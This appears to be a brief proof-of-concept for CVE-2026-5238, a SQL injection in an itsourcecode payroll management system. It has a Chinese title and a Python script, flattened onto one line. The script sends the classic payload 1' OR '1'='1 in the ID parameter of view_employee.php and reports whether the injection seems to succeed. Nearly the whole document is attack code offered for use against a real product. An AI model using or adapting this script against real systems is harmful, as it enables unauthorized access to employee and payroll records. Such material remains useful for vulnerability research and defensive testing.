CVE-2026-5238 itsourcecode薪资管理系统SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target-ip/view_employee.php" # Malicious payload to test SQL Injection # Attempting to bypass logic using OR 1=1 payload = { "ID": "1' OR '1'='1" } try: # Send GET request with the payload response = requests.get(target_url, params=payload, timeout=10) # Check if the response indicates a successful injection # (e.g., returns all employees instead of just ID 1) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response length:", len(response.text)) # Analyze response content to confirm vulnerability if "Employee" in response.text: print("[+] Potential SQL Injection confirmed.") else: print("[-] Target may not be vulnerable or offline.") except Exception as e: print(f"[!] Error occurred: {e}")